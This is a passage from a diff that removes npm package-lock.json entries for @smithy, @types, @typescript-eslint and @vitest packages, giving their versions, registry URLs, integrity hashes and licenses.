"https://registry.npmjs.org/@smithy/util-hex-encoding/-/util-hex-encoding-4.2.2.tgz", - "integrity": "sha512-Qcz3W5vuHK4sLQdyT93k/rfrUwdJ8/HZ+nMUOyGdpeGA1Wxt65zYwi3oEl9kOM+RswvYq90fzkNDahPS8K0OIg==", - "license": "Apache-2.0", - "dependencies": { - "tslib": "^2.6.2" - }, - "engines": { - "node": ">=18.0.0" - } - }, - "node_modules/@smithy/util-middleware": { - "version": "4.2.14", - "resolved": "https://registry.npmjs.org/@smithy/util-middleware/-/util-middleware-4.2.14.tgz", - "integrity": "sha512-1Su2vj9RYNDEv/V+2E+jXkkwGsgR7dc4sfHn9Z7ruzQHJIEni9zzw5CauvRXlFJfmgcqYP8fWa0dkh2Q2YaQyw==", - "license": "Apache-2.0", - "dependencies": { - "@smithy/types": "^4.14.1", - "tslib": "^2.6.2" - }, - "engines": { - "node": ">=18.0.0" - } - }, - "node_modules/@smithy/util-retry": { - "version": "4.3.8", - "resolved": "https://registry.npmjs.org/@smithy/util-retry/-/util-retry-4.3.8.tgz", - "integrity": "sha512-LUIxbTBi+OpvXpg91poGA6BdyoleMDLnfXjVDqyi2RvZmTveY5loE/FgYUBCR5LU2BThW2SoZRh8dTIIy38IPw==", - "license": "Apache-2.0", - "dependencies": { - "@smithy/service-error-classification": "^4.3.1", - "@smithy/types": "^4.14.1", - "tslib": "^2.6.2" - }, - "engines": { - "node": ">=18.0.0" - } - }, - "node_modules/@smithy/util-stream": { - "version": "4.5.25", - "resolved": "https://registry.npmjs.org/@smithy/util-stream/-/util-stream-4.5.25.tgz", - "integrity": "sha512-/PFpG4k8Ze8Ei+mMKj3oiPICYekthuzePZMgZbCqMiXIHHf4n2aZ4Ps0aSRShycFTGuj/J6XldmC0x0DwednIA==", - "license": "Apache-2.0", - "dependencies": { - "@smithy/fetch-http-handler": "^5.3.17", - "@smithy/node-http-handler": "^4.6.1", - "@smithy/types": "^4.14.1", - "@smithy/util-base64": "^4.3.2", - "@smithy/util-buffer-from": "^4.2.2", - "@smithy/util-hex-encoding": "^4.2.2", - "@smithy/util-utf8": "^4.2.2", - "tslib": "^2.6.2" - }, - "engines": { - "node": ">=18.0.0" - } - }, - "node_modules/@smithy/util-uri-escape": { - "version": "4.2.2", - "resolved": "https://registry.npmjs.org/@smithy/util-uri-escape/-/util-uri-escape-4.2.2.tgz", - "integrity": "sha512-2kAStBlvq+lTXHyAZYfJRb/DfS3rsinLiwb+69SstC9Vb0s9vNWkRwpnj918Pfi85mzi42sOqdV72OLxWAISnw==", - "license": "Apache-2.0", - "dependencies": { - "tslib": "^2.6.2" - }, - "engines": { - "node": ">=18.0.0" - } - }, - "node_modules/@smithy/util-utf8": { - "version": "4.2.2", - "resolved": "https://registry.npmjs.org/@smithy/util-utf8/-/util-utf8-4.2.2.tgz", - "integrity": "sha512-75MeYpjdWRe8M5E3AW0O4Cx3UadweS+cwdXjwYGBW5h/gxxnbeZ877sLPX/ZJA9GVTlL/qG0dXP29JWFCD1Ayw==", - "license": "Apache-2.0", - "dependencies": { - "@smithy/util-buffer-from": "^4.2.2", - "tslib": "^2.6.2" - }, - "engines": { - "node": ">=18.0.0" - } - }, - "node_modules/@smithy/uuid": { - "version": "1.1.2", - "resolved": "https://registry.npmjs.org/@smithy/uuid/-/uuid-1.1.2.tgz", - "integrity": "sha512-O/IEdcCUKkubz60tFbGA7ceITTAJsty+lBjNoorP4Z6XRqaFb/OjQjZODophEcuq68nKm6/0r+6/lLQ+XVpk8g==", - "license": "Apache-2.0", - "dependencies": { - "tslib": "^2.6.2" - }, - "engines": { - "node": ">=18.0.0" - } - }, - "node_modules/@stablelib/base64": { - "version": "1.0.1", - "resolved": "https://registry.npmjs.org/@stablelib/base64/-/base64-1.0.1.tgz", - "integrity": "sha512-1bnPQqSxSuc3Ii6MhBysoWCg58j97aUjuCSZrGSmDxNqtytIi0k8utUenAwTZN4V5mXXYGsVUI9zeBqy+jBOSQ==", - "license": "MIT" - }, - "node_modules/@standard-schema/spec": { - "version": "1.1.0", - "resolved": "https://registry.npmjs.org/@standard-schema/spec/-/spec-1.1.0.tgz", - "integrity": "sha512-l2aFy5jALhniG5HgqrD6jXLi/rUWrKvqN/qJx6yoJsgKhblVd+iqqU4RCXavm/jPityDo5TCvKMnpjKnOriy0w==", - "dev": true, - "license": "MIT" - }, - "node_modules/@tokenizer/inflate": { - "version": "0.4.1", - "resolved": "https://registry.npmjs.org/@tokenizer/inflate/-/inflate-0.4.1.tgz", - "integrity": "sha512-2mAv+8pkG6GIZiF1kNg1jAjh27IDxEPKwdGul3snfztFerfPGI1LjDezZp3i7BElXompqEtPmoPx6c2wgtWsOA==", - "license": "MIT", - "dependencies": { - "debug": "^4.4.3", - "token-types": "^6.1.1" - }, - "engines": { - "node": ">=18" - }, - "funding": { - "type": "github", - "url": "https://github.com/sponsors/Borewit" - } - }, - "node_modules/@tokenizer/token": { - "version": "0.3.0", - "resolved": "https://registry.npmjs.org/@tokenizer/token/-/token-0.3.0.tgz", - "integrity": "sha512-OvjF+z51L3ov0OyAU0duzsYuvO01PH7x4t6DJx+guahgTnBHkhJdG7soQeTSFLWN3efnHyibZ4Z8l2EuWwJN3A==", - "license": "MIT" - }, - "node_modules/@tootallnate/once": { - "version": "2.0.0", - "resolved": "https://registry.npmjs.org/@tootallnate/once/-/once-2.0.0.tgz", - "integrity": "sha512-XCuKFP5PS55gnMVu3dty8KPatLqUoy/ZYzDzAGCQ8JNFCkLXzmI7vNHCR+XpbZaMWQK/vQubr7PkYq8g470J/A==", - "license": "MIT", - "engines": { - "node": ">= 10" - } - }, - "node_modules/@tootallnate/quickjs-emscripten": { - "version": "0.23.0", - "resolved": "https://registry.npmjs.org/@tootallnate/quickjs-emscripten/-/quickjs-emscripten-0.23.0.tgz", - "integrity": "sha512-C5Mc6rdnsaJDjO3UpGW/CQTHtCKaYlScZTly4JIu97Jxo/odCiH0ITnDXSJPTOrEKk/ycSZ0AOgTmkDtkOsvIA==", - "license": "MIT" - }, - "node_modules/@ts-graphviz/adapter": { - "version": "2.0.6", - "resolved": "https://registry.npmjs.org/@ts-graphviz/adapter/-/adapter-2.0.6.tgz", - "integrity": "sha512-kJ10lIMSWMJkLkkCG5gt927SnGZcBuG0s0HHswGzcHTgvtUe7yk5/3zTEr0bafzsodsOq5Gi6FhQeV775nC35Q==", - "dev": true, - "funding": [ - { - "type": "github", - "url": "https://github.com/sponsors/ts-graphviz" - }, - { - "type": "opencollective", - "url": "https://opencollective.com/ts-graphviz" - } - ], - "license": "MIT", - "dependencies": { - "@ts-graphviz/common": "^2.1.5" - }, - "engines": { - "node": ">=18" - } - }, - "node_modules/@ts-graphviz/ast": { - "version": "2.0.7", - "resolved": "https://registry.npmjs.org/@ts-graphviz/ast/-/ast-2.0.7.tgz", - "integrity": "sha512-e6+2qtNV99UT6DJSoLbHfkzfyqY84aIuoV8Xlb9+hZAjgpum8iVHprGeAMQ4rF6sKUAxrmY8rfF/vgAwoPc3gw==", - "dev": true, - "funding": [ - { - "type": "github", - "url": "https://github.com/sponsors/ts-graphviz" - }, - { - "type": "opencollective", - "url": "https://opencollective.com/ts-graphviz" - } - ], - "license": "MIT", - "dependencies": { - "@ts-graphviz/common": "^2.1.5" - }, - "engines": { - "node": ">=18" - } - }, - "node_modules/@ts-graphviz/common": { - "version": "2.1.5", - "resolved": "https://registry.npmjs.org/@ts-graphviz/common/-/common-2.1.5.tgz", - "integrity": "sha512-S6/9+T6x8j6cr/gNhp+U2olwo1n0jKj/682QVqsh7yXWV6ednHYqxFw0ZsY3LyzT0N8jaZ6jQY9YD99le3cmvg==", - "dev": true, - "funding": [ - { - "type": "github", - "url": "https://github.com/sponsors/ts-graphviz" - }, - { - "type": "opencollective", - "url": "https://opencollective.com/ts-graphviz" - } - ], - "license": "MIT", - "engines": { - "node": ">=18" - } - }, - "node_modules/@ts-graphviz/core": { - "version": "2.0.7", - "resolved": "https://registry.npmjs.org/@ts-graphviz/core/-/core-2.0.7.tgz", - "integrity": "sha512-w071DSzP94YfN6XiWhOxnLpYT3uqtxJBDYdh6Jdjzt+Ce6DNspJsPQgpC7rbts/B8tEkq0LHoYuIF/O5Jh5rPg==", - "dev": true, - "funding": [ - { - "type": "github", - "url": "https://github.com/sponsors/ts-graphviz" - }, - { - "type": "opencollective", - "url": "https://opencollective.com/ts-graphviz" - } - ], - "license": "MIT", - "dependencies": { - "@ts-graphviz/ast": "^2.0.7", - "@ts-graphviz/common": "^2.1.5" - }, - "engines": { - "node": ">=18" - } - }, - "node_modules/@types/body-parser": { - "version": "1.19.6", - "resolved": "https://registry.npmjs.org/@types/body-parser/-/body-parser-1.19.6.tgz", - "integrity": "sha512-HLFeCYgz89uk22N5Qg3dvGvsv46B8GLvKKo1zKG4NybA8U2DiEO3w9lqGg29t/tfLRJpJ6iQxnVw4OnB7MoM9g==", - "dev": true, - "license": "MIT", - "dependencies": { - "@types/connect": "*", - "@types/node": "*" - } - }, - "node_modules/@types/caseless": { - "version": "0.12.5", - "resolved": "https://registry.npmjs.org/@types/caseless/-/caseless-0.12.5.tgz", - "integrity": "sha512-hWtVTC2q7hc7xZ/RLbxapMvDMgUnDvKvMOpKal4DrMyfGBUfB1oKaZlIRr6mJL+If3bAP6sV/QneGzF6tJjZDg==", - "license": "MIT" - }, - "node_modules/@types/chai": { - "version": "5.2.3", - "resolved": "https://registry.npmjs.org/@types/chai/-/chai-5.2.3.tgz", - "integrity": "sha512-Mw558oeA9fFbv65/y4mHtXDs9bPnFMZAL/jxdPFUpOHHIXX91mcgEHbS5Lahr+pwZFR8A7GQleRWeI6cGFC2UA==", - "dev": true, - "license": "MIT", - "dependencies": { - "@types/deep-eql": "*", - "assertion-error": "^2.0.1" - } - }, - "node_modules/@types/connect": { - "version": "3.4.38", - "resolved": "https://registry.npmjs.org/@types/connect/-/connect-3.4.38.tgz", - "integrity": "sha512-K6uROf1LD88uDQqJCktA4yzL1YYAK6NgfsI0v/mTgyPKWsX1CnJ0XPSDhViejru1GcRkLWb8RlzFYJRqGUbaug==", - "dev": true, - "license": "MIT", - "dependencies": { - "@types/node": "*" - } - }, - "node_modules/@types/debug": { - "version": "4.1.13", - "resolved": "https://registry.npmjs.org/@types/debug/-/debug-4.1.13.tgz", - "integrity": "sha512-KSVgmQmzMwPlmtljOomayoR89W4FynCAi3E8PPs7vmDVPe84hT+vGPKkJfThkmXs0x0jAaa9U8uW8bbfyS2fWw==", - "license": "MIT", - "dependencies": { - "@types/ms": "*" - } - }, - "node_modules/@types/deep-eql": { - "version": "4.0.2", - "resolved": "https://registry.npmjs.org/@types/deep-eql/-/deep-eql-4.0.2.tgz", - "integrity": "sha512-c9h9dVVMigMPc4bwTvC5dxqtqJZwQPePsWjPlpSOnojbor6pGqdk541lfA7AqFQr5pB1BRdq0juY9db81BwyFw==", - "dev": true, - "license": "MIT" - }, - "node_modules/@types/diff": { - "version": "7.0.2", - "resolved": "https://registry.npmjs.org/@types/diff/-/diff-7.0.2.tgz", - "integrity": "sha512-JSWRMozjFKsGlEjiiKajUjIJVKuKdE3oVy2DNtK+fUo8q82nhFZ2CPQwicAIkXrofahDXrWJ7mjelvZphMS98Q==", - "dev": true, - "license": "MIT" - }, - "node_modules/@types/estree": { - "version": "1.0.8", - "resolved": "https://registry.npmjs.org/@types/estree/-/estree-1.0.8.tgz", - "integrity": "sha512-dWHzHa2WqEXI/O1E9OjrocMTKJl2mSrEolh1Iomrv6U+JuNwaHXsXx9bLu5gG7BUWFIN0skIQJQ/L1rIex4X6w==", - "dev": true, - "license": "MIT" - }, - "node_modules/@types/express": { - "version": "4.17.25", - "resolved": "https://registry.npmjs.org/@types/express/-/express-4.17.25.tgz", - "integrity": "sha512-dVd04UKsfpINUnK0yBoYHDF3xu7xVH4BuDotC/xGuycx4CgbP48X/KF/586bcObxT0HENHXEU8Nqtu6NR+eKhw==", - "dev": true, - "license": "MIT", - "dependencies": { - "@types/body-parser": "*", - "@types/express-serve-static-core": "^4.17.33", - "@types/qs": "*", - "@types/serve-static": "^1" - } - }, - "node_modules/@types/express-serve-static-core": { - "version": "4.19.8", - "resolved": "https://registry.npmjs.org/@types/express-serve-static-core/-/express-serve-static-core-4.19.8.tgz", - "integrity": "sha512-02S5fmqeoKzVZCHPZid4b8JH2eM5HzQLZWN2FohQEy/0eXTq8VXZfSN6Pcr3F6N9R/vNrj7cpgbhjie6m/1tCA==", - "dev": true, - "license": "MIT", - "dependencies": { - "@types/node": "*", - "@types/qs": "*", - "@types/range-parser": "*", - "@types/send": "*" - } - }, - "node_modules/@types/hosted-git-info": { - "version": "3.0.5", - "resolved": "https://registry.npmjs.org/@types/hosted-git-info/-/hosted-git-info-3.0.5.tgz", - "integrity": "sha512-Dmngh7U003cOHPhKGyA7LWqrnvcTyILNgNPmNCxlx7j8MIi54iBliiT8XqVLIQ3GchoOjVAyBzNJVyuaJjqokg==", - "dev": true, - "license": "MIT" - }, - "node_modules/@types/html-to-text": { - "version": "9.0.4", - "resolved": "https://registry.npmjs.org/@types/html-to-text/-/html-to-text-9.0.4.tgz", - "integrity": "sha512-pUY3cKH/Nm2yYrEmDlPR1mR7yszjGx4DrwPjQ702C4/D5CwHuZTgZdIdwPkRbcuhs7BAh2L5rg3CL5cbRiGTCQ==", - "license": "MIT" - }, - "node_modules/@types/http-errors": { - "version": "2.0.5", - "resolved": "https://registry.npmjs.org/@types/http-errors/-/http-errors-2.0.5.tgz", - "integrity": "sha512-r8Tayk8HJnX0FztbZN7oVqGccWgw98T/0neJphO91KkmOzug1KkofZURD4UaD5uH8AqcFLfdPErnBod0u71/qg==", - "dev": true, - "license": "MIT" - }, - "node_modules/@types/katex": { - "version": "0.16.8", - "resolved": "https://registry.npmjs.org/@types/katex/-/katex-0.16.8.tgz", - "integrity": "sha512-trgaNyfU+Xh2Tc+ABIb44a5AYUpicB3uwirOioeOkNPPbmgRNtcWyDeeFRzjPZENO9Vq8gvVqfhaaXWLlevVwg==", - "license": "MIT" - }, - "node_modules/@types/long": { - "version": "4.0.2", - "resolved": "https://registry.npmjs.org/@types/long/-/long-4.0.2.tgz", - "integrity": "sha512-MqTGEo5bj5t157U6fA/BiDynNkn0YknVdh48CMPkTSpFTVmvao5UQmm7uEF6xBEo7qIMAlY/JSleYaE6VOdpaA==", - "license": "MIT" - }, - "node_modules/@types/mdast": { - "version": "4.0.4", - "resolved": "https://registry.npmjs.org/@types/mdast/-/mdast-4.0.4.tgz", - "integrity": "sha512-kGaNbPh1k7AFzgpud/gMdvIm5xuECykRR+JnWKQno9TAXVa6WIVCGTPvYGekIDL4uwCZQSYbUxNBSb1aUo79oA==", - "license": "MIT", - "dependencies": { - "@types/unist": "*" - } - }, - "node_modules/@types/mime": { - "version": "1.3.5", - "resolved": "https://registry.npmjs.org/@types/mime/-/mime-1.3.5.tgz", - "integrity": "sha512-/pyBZWSLD2n0dcHE3hq8s8ZvcETHtEuF+3E7XVt0Ig2nvsVQXdghHVcEkIWjy9A0wKfTn97a/PSDYohKIlnP/w==", - "dev": true, - "license": "MIT" - }, - "node_modules/@types/mime-types": { - "version": "2.1.4", - "resolved": "https://registry.npmjs.org/@types/mime-types/-/mime-types-2.1.4.tgz", - "integrity": "sha512-lfU4b34HOri+kAY5UheuFMWPDOI+OPceBSHZKp69gEyTL/mmJ4cnU6Y/rlme3UL3GyOn6Y42hyIEw0/q8sWx5w==", - "license": "MIT" - }, - "node_modules/@types/ms": { - "version": "2.1.0", - "resolved": "https://registry.npmjs.org/@types/ms/-/ms-2.1.0.tgz", - "integrity": "sha512-GsCCIZDE/p3i96vtEqx+7dBUGXrc7zeSK3wwPHIaRThS+9OhWIXRqzs4d6k1SVU8g91DrNRWxWUGhp5KXQb2VA==", - "license": "MIT" - }, - "node_modules/@types/node": { - "version": "25.6.2", - "resolved": "https://registry.npmjs.org/@types/node/-/node-25.6.2.tgz", - "integrity": "sha512-sokuT28dxf9JT5Kady1fsXOvI4HVpjZa95NKT5y9PNTIrs2AsobR4GFAA90ZG8M+nxVRLysCXsVj6eGC7Vbrlw==", - "license": "MIT", - "dependencies": { - "undici-types": "~7.19.0" - } - }, - "node_modules/@types/normalize-package-data": { - "version": "2.4.4", - "resolved": "https://registry.npmjs.org/@types/normalize-package-data/-/normalize-package-data-2.4.4.tgz", - "integrity": "sha512-37i+OaWTh9qeK4LSHPsyRC7NahnGotNuZvjLSgcPzblpHB3rrCJxAOgI5gCdKm7coonsaX1Of0ILiTcnZjbfxA==", - "license": "MIT" - }, - "node_modules/@types/picomatch": { - "version": "4.0.3", - "resolved": "https://registry.npmjs.org/@types/picomatch/-/picomatch-4.0.3.tgz", - "integrity": "sha512-iG0T6+nYJ9FAPmx9SsUlnwcq1ZVRuCXcVEvWnntoPlrOpwtSTKNDC9uVAxTsC3PUvJ+99n4RpAcNgBbHX3JSnQ==", - "dev": true, - "license": "MIT" - }, - "node_modules/@types/proper-lockfile": { - "version": "4.1.4", - "resolved": "https://registry.npmjs.org/@types/proper-lockfile/-/proper-lockfile-4.1.4.tgz", - "integrity": "sha512-uo2ABllncSqg9F1D4nugVl9v93RmjxF6LJzQLMLDdPaXCUIDPeOJ21Gbqi43xNKzBi/WQ0Q0dICqufzQbMjipQ==", - "dev": true, - "license": "MIT", - "dependencies": { - "@types/retry": "*" - } - }, - "node_modules/@types/qs": { - "version": "6.15.0", - "resolved": "https://registry.npmjs.org/@types/qs/-/qs-6.15.0.tgz", - "integrity": "sha512-JawvT8iBVWpzTrz3EGw9BTQFg3BQNmwERdKE22vlTxawwtbyUSlMppvZYKLZzB5zgACXdXxbD3m1bXaMqP/9ow==", - "dev": true, - "license": "MIT" - }, - "node_modules/@types/range-parser": { - "version": "1.2.7", - "resolved": "https://registry.npmjs.org/@types/range-parser/-/range-parser-1.2.7.tgz", - "integrity": "sha512-hKormJbkJqzQGhziax5PItDUTMAM9uE2XXQmM37dyd4hVM+5aVl7oVxMVUiVQn2oCQFN/LKCZdvSM0pFRqbSmQ==", - "dev": true, - "license": "MIT" - }, - "node_modules/@types/request": { - "version": "2.48.13", - "resolved": "https://registry.npmjs.org/@types/request/-/request-2.48.13.tgz", - "integrity": "sha512-FGJ6udDNUCjd19pp0Q3iTiDkwhYup7J8hpMW9c4k53NrccQFFWKRho6hvtPPEhnXWKvukfwAlB6DbDz4yhH5Gg==", - "license": "MIT", - "dependencies": { - "@types/caseless": "*", - "@types/node": "*", - "@types/tough-cookie": "*", - "form-data": "^2.5.5" - } - }, - "node_modules/@types/retry": { - "version": "0.12.0", - "resolved": "https://registry.npmjs.org/@types/retry/-/retry-0.12.0.tgz", - "integrity": "sha512-wWKOClTTiizcZhXnPY4wikVAwmdYHp8q6DmC+EJUzAMsycb7HB32Kh9RN4+0gExjmPmZSAQjgURXIGATPegAvA==", - "license": "MIT" - }, - "node_modules/@types/sarif": { - "version": "2.1.7", - "resolved": "https://registry.npmjs.org/@types/sarif/-/sarif-2.1.7.tgz", - "integrity": "sha512-kRz0VEkJqWLf1LLVN4pT1cg1Z9wAuvI6L97V3m2f5B76Tg8d413ddvLBPTEHAZJlnn4XSvu0FkZtViCQGVyrXQ==", - "dev": true, - "license": "MIT" - }, - "node_modules/@types/send": { - "version": "1.2.1", - "resolved": "https://registry.npmjs.org/@types/send/-/send-1.2.1.tgz", - "integrity": "sha512-arsCikDvlU99zl1g69TcAB3mzZPpxgw0UQnaHeC1Nwb015xp8bknZv5rIfri9xTOcMuaVgvabfIRA7PSZVuZIQ==", - "dev": true, - "license": "MIT", - "dependencies": { - "@types/node": "*" - } - }, - "node_modules/@types/serve-static": { - "version": "1.15.10", - "resolved": "https://registry.npmjs.org/@types/serve-static/-/serve-static-1.15.10.tgz", - "integrity": "sha512-tRs1dB+g8Itk72rlSI2ZrW6vZg0YrLI81iQSTkMmOqnqCaNr/8Ek4VwWcN5vZgCYWbg/JJSGBlUaYGAOP73qBw==", - "dev": true, - "license": "MIT", - "dependencies": { - "@types/http-errors": "*", - "@types/node": "*", - "@types/send": "<1" - } - }, - "node_modules/@types/serve-static/node_modules/@types/send": { - "version": "0.17.6", - "resolved": "https://registry.npmjs.org/@types/send/-/send-0.17.6.tgz", - "integrity": "sha512-Uqt8rPBE8SY0RK8JB1EzVOIZ32uqy8HwdxCnoCOsYrvnswqmFZ/k+9Ikidlk/ImhsdvBsloHbAlewb2IEBV/Og==", - "dev": true, - "license": "MIT", - "dependencies": { - "@types/mime": "^1", - "@types/node": "*" - } - }, - "node_modules/@types/shell-quote": { - "version": "1.7.5", - "resolved": "https://registry.npmjs.org/@types/shell-quote/-/shell-quote-1.7.5.tgz", - "integrity": "sha512-+UE8GAGRPbJVQDdxi16dgadcBfQ+KG2vgZhV1+3A1XmHbmwcdwhCUwIdy+d3pAGrbvgRoVSjeI9vOWyq376Yzw==", - "dev": true, - "license": "MIT" - }, - "node_modules/@types/tough-cookie": { - "version": "4.0.5", - "resolved": "https://registry.npmjs.org/@types/tough-cookie/-/tough-cookie-4.0.5.tgz", - "integrity": "sha512-/Ad8+nIOV7Rl++6f1BdKxFSMgmoqEoYbHRpPcx3JEfv8VRsQe9Z4mCXeJBzxs7mbHY/XOZZuXlRNfhpVPbs6ZA==", - "license": "MIT" - }, - "node_modules/@types/unist": { - "version": "2.0.11", - "resolved": "https://registry.npmjs.org/@types/unist/-/unist-2.0.11.tgz", - "integrity": "sha512-CmBKiL6NNo/OqgmMn95Fk9Whlp2mtvIv+KNpQKN2F4SjvrEesubTRWGYSg+BnWZOnlCaSTU1sMpsBOzgbYhnsA==", - "license": "MIT" - }, - "node_modules/@types/ws": { - "version": "8.18.1", - "resolved": "https://registry.npmjs.org/@types/ws/-/ws-8.18.1.tgz", - "integrity": "sha512-ThVF6DCVhA8kUGy+aazFQ4kXQ7E1Ty7A3ypFOe0IcJV8O/M511G99AW24irKrW56Wt44yG9+ij8FaqoBGkuBXg==", - "license": "MIT", - "dependencies": { - "@types/node": "*" - } - }, - "node_modules/@types/yauzl": { - "version": "2.10.3", - "resolved": "https://registry.npmjs.org/@types/yauzl/-/yauzl-2.10.3.tgz", - "integrity": "sha512-oJoftv0LSuaDZE3Le4DbKX+KS9G36NzOeSap90UIK0yMA/NhKJhqlSGtNDORNRaIbQfzjXDrQa0ytJ6mNRGz/Q==", - "license": "MIT", - "optional": true, - "dependencies": { - "@types/node": "*" - } - }, - "node_modules/@typescript-eslint/project-service": { - "version": "8.59.2", - "resolved": "https://registry.npmjs.org/@typescript-eslint/project-service/-/project-service-8.59.2.tgz", - "integrity": "sha512-+2hqvEkeyf/0FBor67duF0Ll7Ot8jyKzDQOSrxazF/danillRq2DwR9dLptsXpoZQqxE1UisSmoZewrlPas9Vw==", - "dev": true, - "license": "MIT", - "dependencies": { - "@typescript-eslint/tsconfig-utils": "^8.59.2", - "@typescript-eslint/types": "^8.59.2", - "debug": "^4.4.3" - }, - "engines": { - "node": "^18.18.0 || ^20.9.0 || >=21.1.0" - }, - "funding": { - "type": "opencollective", - "url": "https://opencollective.com/typescript-eslint" - }, - "peerDependencies": { - "typescript": ">=4.8.4 <6.1.0" - } - }, - "node_modules/@typescript-eslint/tsconfig-utils": { - "version": "8.59.2", - "resolved": "https://registry.npmjs.org/@typescript-eslint/tsconfig-utils/-/tsconfig-utils-8.59.2.tgz", - "integrity": "sha512-BKK4alN7oi4C/zv4VqHQ+uRU+lTa6JGIZ7s1juw7b3RHo9OfKB+bKX3u0iVZetdsUCBBkSbdWbarJbmN0fTeSw==", - "dev": true, - "license": "MIT", - "engines": { - "node": "^18.18.0 || ^20.9.0 || >=21.1.0" - }, - "funding": { - "type": "opencollective", - "url": "https://opencollective.com/typescript-eslint" - }, - "peerDependencies": { - "typescript": ">=4.8.4 <6.1.0" - } - }, - "node_modules/@typescript-eslint/types": { - "version": "8.59.2", - "resolved": "https://registry.npmjs.org/@typescript-eslint/types/-/types-8.59.2.tgz", - "integrity": "sha512-e82GVOE8Ps3E++Egvb6Y3Dw0S10u8NkQ9KXmtRhCWJJ8kDhOJTvtMAWnFL16kB1583goCWXsr0NieKCZMs2/0Q==", - "dev": true, - "license": "MIT", - "engines": { - "node": "^18.18.0 || ^20.9.0 || >=21.1.0" - }, - "funding": { - "type": "opencollective", - "url": "https://opencollective.com/typescript-eslint" - } - }, - "node_modules/@typescript-eslint/typescript-estree": { - "version": "8.59.2", - "resolved": "https://registry.npmjs.org/@typescript-eslint/typescript-estree/-/typescript-estree-8.59.2.tgz", - "integrity": "sha512-o0XPGNwcWw+FIwStOWn+BwBuEmL6QXP0rsvAFg7ET1dey1Nr6Wb1ac8p5HEsK0ygO/6mUxlk+YWQD9xcb/nnXg==", - "dev": true, - "license": "MIT", - "dependencies": { - "@typescript-eslint/project-service": "8.59.2", - "@typescript-eslint/tsconfig-utils": "8.59.2", - "@typescript-eslint/types": "8.59.2", - "@typescript-eslint/visitor-keys": "8.59.2", - "debug": "^4.4.3", - "minimatch": "^10.2.2", - "semver": "^7.7.3", - "tinyglobby": "^0.2.15", - "ts-api-utils": "^2.5.0" - }, - "engines": { - "node": "^18.18.0 || ^20.9.0 || >=21.1.0" - }, - "funding": { - "type": "opencollective", - "url": "https://opencollective.com/typescript-eslint" - }, - "peerDependencies": { - "typescript": ">=4.8.4 <6.1.0" - } - }, - "node_modules/@typescript-eslint/visitor-keys": { - "version": "8.59.2", - "resolved": "https://registry.npmjs.org/@typescript-eslint/visitor-keys/-/visitor-keys-8.59.2.tgz", - "integrity": "sha512-NwjLUnGy8/Zfx23fl50tRC8rYaYnM52xNRYFAXvmiil9yh1+K6aRVQMnzW6gQB/1DLgWt977lYQn7C+wtgXZiA==", - "dev": true, - "license": "MIT", - "dependencies": { - "@typescript-eslint/types": "8.59.2", - "eslint-visitor-keys": "^5.0.0" - }, - "engines": { - "node": "^18.18.0 || ^20.9.0 || >=21.1.0" - }, - "funding": { - "type": "opencollective", - "url": "https://opencollective.com/typescript-eslint" - } - }, - "node_modules/@vitest/coverage-v8": { - "version": "4.1.5", - "resolved": "https://registry.npmjs.org/@vitest/coverage-v8/-/coverage-v8-4.1.5.tgz", - "integrity": "sha512-38C0/Ddb7HcRG0Z4/DUem8x57d2p9jYgp18mkaYswEOQBGsI1CG4f/hjm0ZCeaJfWhSZ4k7jgs29V1Zom7Ki9A==", - "dev": true, - "license": "MIT", - "dependencies": { - "@bcoe/v8-coverage": "^1.0.2", - "@vitest/utils": "4.1.5", - "ast-v8-to-istanbul": "^1.0.0", - "istanbul-lib-coverage": "^3.2.2", - "istanbul-lib-report": "^3.0.1", - "istanbul-reports": "^3.2.0", - "magicast": "^0.5.2", - "obug": "^2.1.1", - "std-env": "^4.0.0-rc.1", - "tinyrainbow": "^3.1.0" - }, - "funding": { - "url": "https://opencollective.com/vitest" - }, - "peerDependencies": { - "@vitest/browser": "4.1.5", - "vitest": "4.1.5" - }, - "peerDependenciesMeta": { - "@vitest/browser": { - "optional": true - } - } - }, - "node_modules/@vitest/coverage-v8/node_modules/std-env": { - "version": "4.1.0", - "resolved": "https://registry.npmjs.org/std-env/-/std-env-4.1.0.tgz", - "integrity": "sha512-Rq7ybcX2RuC55r9oaPVEW7/xu3tj8u4GeBYHBWCychFtzMIr86A7e3PPEBPT37sHStKX3+TiX/Fr/ACmJLVlLQ==", - "dev": true, - "license": "MIT" - }, - "node_modules/@vitest/expect": { - "version": "4.1.5", - "resolved": "https://registry.npmjs.org/@vitest/expect/-/expect-4.1.5.tgz", - "integrity": "sha512-PWBaRY5JoKuRnHlUHfpV/KohFylaDZTupcXN1H9vYryNLOnitSw60Mw9IAE2r67NbwwzBw/Cc/8q9BK3kIX8Kw==", - "dev": true, - "license": "MIT", - "dependencies": { - "@standard-schema/spec": "^1.1.0", - "@types/chai": "^5.2.2", - "@vitest/spy": "4.1.5", - "@vitest/utils": "4.1.5", - "chai": "^6.2.2", - "tinyrainbow": "^3.1.0" - }, - "funding": { - "url": "https://opencollective.com/vitest" - } - }, - "node_modules/@vitest/mocker": { - "version": "4.1.5", - "resolved": "https://registry.npmjs.org/@vitest/mocker/-/mocker-4.1.5.tgz", - "integrity": "sha512-/x2EmFC4mT4NNzqvC3fmesuV97w5FC903KPmey4gsnJiMQ3Be1IlDKVaDaG8iqaLFHqJ2FVEkxZk5VmeLjIItw==", - "dev": true, - "license": "MIT", - "dependencies": { - "@vitest/spy": "4.1.5", - "estree-walker": "^3.0.3", - "magic-string": "^0.30.21" - }, - "funding": { - "url": "https://opencollective.com/vitest" - }, - "peerDependencies": { - "msw": "^2.4.9", - "vite": "^6.0.0 || ^7.0.0 || ^8.0.0" - }, - "peerDependenciesMeta": { - "msw": { - "optional": true - }, - "vite": { - "optional": true - } - } - }, - "node_modules/@vitest/pretty-format": { - "version": "4.1.5", - "resolved": "https://registry.npmjs.org/@vitest/pretty-format/-/pretty-format-4.1.5.tgz", - "integrity": "sha512-7I3q6l5qr03dVfMX2wCo9FxwSJbPdwKjy2uu/YPpU3wfHvIL4QHwVRp57OfGrDFeUJ8/8QdfBKIV12FTtLn00g==", - "dev": true, - "license": "MIT", - "dependencies": { - "tinyrainbow": "^3.1.0" - }, - "funding": { - "url": "https://opencollective.com/vitest" - } - }, - "node_modules/@vitest/runner": { - "version": "4.1.5", - "resolved": "https://registry.npmjs.org/@vitest/runner/-/runner-4.1.5.tgz", - "integrity": "sha512-2D+o7Pr82IEO46YPpoA/YU0neeyr6FTerQb5Ro7BUnBuv6NQtT/kmVnczngiMEBhzgqz2UZYl5gArejsyERDSQ==", - "dev": true, - "license": "MIT", - "dependencies": { - "@vitest/utils": "4.1.5", - "pathe": "^2.0.3" - }, - "funding": { - "url": "https://opencollective.com/vitest" - } - }, - 